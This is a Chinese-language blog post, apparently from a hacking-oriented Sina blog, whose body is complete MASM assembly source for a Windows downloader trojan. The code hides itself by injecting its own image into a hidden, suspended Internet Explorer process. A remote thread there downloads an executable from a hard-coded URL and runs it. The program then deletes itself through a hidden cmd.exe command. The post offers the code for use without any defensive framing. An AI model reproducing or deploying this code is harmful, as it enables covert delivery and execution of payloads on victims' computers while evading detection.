无DLL,插IE下载者 3.5K_思想夜话

http://blog.sina.com.cn/u/2622399101

首页博文目录关于我

个人资料

微博

加好友发纸条

写留言加关注

博客等级：
博客积分：

博客访问：
关注人气：
获赠金笔：0支
赠出金笔：0支
荣誉徽章：

正文字体大小：大中小

无DLL,插IE下载者 3.5K

(2012-05-18 12:13:27)

标签：

杂谈

分类：技术文章

.386
.model flat,stdcall
option casemap:none

include windows.inc
include urlmon.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib urlmon.lib
includelib kernel32.lib

Download proto

.data
szUrlmon   db "urlmon.dll",0
szURL     db "http://192.168.1.5/123.exe",24 dup (0)
szFile     db "c:\test.exe",39 dup (0)
szCmdline   db "c:\program files\internet explorer\iexplore.exe",0
szAdd db '\cmd.exe /c del "',0
quote db '"',0

.data?
cbSize DWORD ?
cdWritten DWORD ?
pid DWORD ?
hProcess DWORD ?
hModule DWORD ?
hThread DWORD ?
startupinfo STARTUPINFO <?>
pi PROCESS_INFORMATION <>
SelfPath db MAX_PATH dup (?)
szCmd db MAX_PATH dup (?)

.code
start:
  invoke GetModuleHandle,0
  mov hModule,eax
  mov edi,eax
  assume edi:ptr IMAGE_DOS_HEADER
  add edi,[edi].e_lfanew
  add edi,sizeof DWORD
  assume edi:ptr IMAGE_FILE_HEADER
  add edi,sizeof IMAGE_FILE_HEADER
  assume edi:ptr IMAGE_OPTIONAL_HEADER32
  mov eax,[edi].SizeOfImage
  mov cbSize,eax
  lea esi,offset startupinfo
  assume esi:ptr STARTUPINFO
  mov [esi].cb,sizeof STARTUPINFO
  invoke GetStartupInfo,offset startupinfo
  mov [esi].wShowWindow,SW_HIDE
  mov [esi].dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
  invoke createProcess,offset

szCmdline,NULL,NULL,NULL,FALSE,create_SUSPENDED,NULL,NULL,offset startupinfo,offset pi
  lea esi,offset pi
  assume esi:ptr PROCESS_INFORMATION
  mov eax,[esi].dwProcessId
  mov pid,eax
  invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid
  mov hProcess,eax
  invoke VirtualAllocEx,hProcess,hModule,cbSize,MEM_COMMIT or

MEM_RESERVE,PAGE_EXECUTE_READWRITE
  invoke WriteProcessMemory,hProcess,eax,hModule,cbSize,offset cdWritten
  invoke createRemoteThread,hProcess,0,0,addr Download,hModule,0,ebx
  mov hThread,eax
  invoke WaitForSingleObject,hThread,INFINITE
  invoke CloseHandle,hThread
  invoke CloseHandle,hProcess
deleteSelf:
  invoke GetModuleFileName,NULL,offset SelfPath,MAX_PATH
  invoke GetSystemDirectory,offset szCmd,MAX_PATH
  invoke lstrcat,offset szCmd,offset szAdd
  invoke lstrcat,offset szCmd,offset SelfPath
  invoke lstrcat,offset szCmd,offset quote
  invoke Sleep,200
  invoke WinExec,offset szCmd,SW_HIDE
  invoke ExitProcess,0

Download proc
  invoke LoadLibrary,offset szUrlmon
  invoke URLDownloadToFile,NULL,offset szURL,offset szFile,0,NULL
  invoke WinExec,offset szFile,SW_SHOW
  invoke ExitThread,0
Download endp
end start

阅读┊ 收藏 ┊ 喜欢 ▼ ┊打印┊举报/Report

前一篇：无Dll插入进程，下载者VC源代码转载请说明来自 http://blog.sina.com.cn/XGNHACK

后一篇：史上八大病毒大盘点

新浪BLOG意见反馈留言板　欢迎批评指正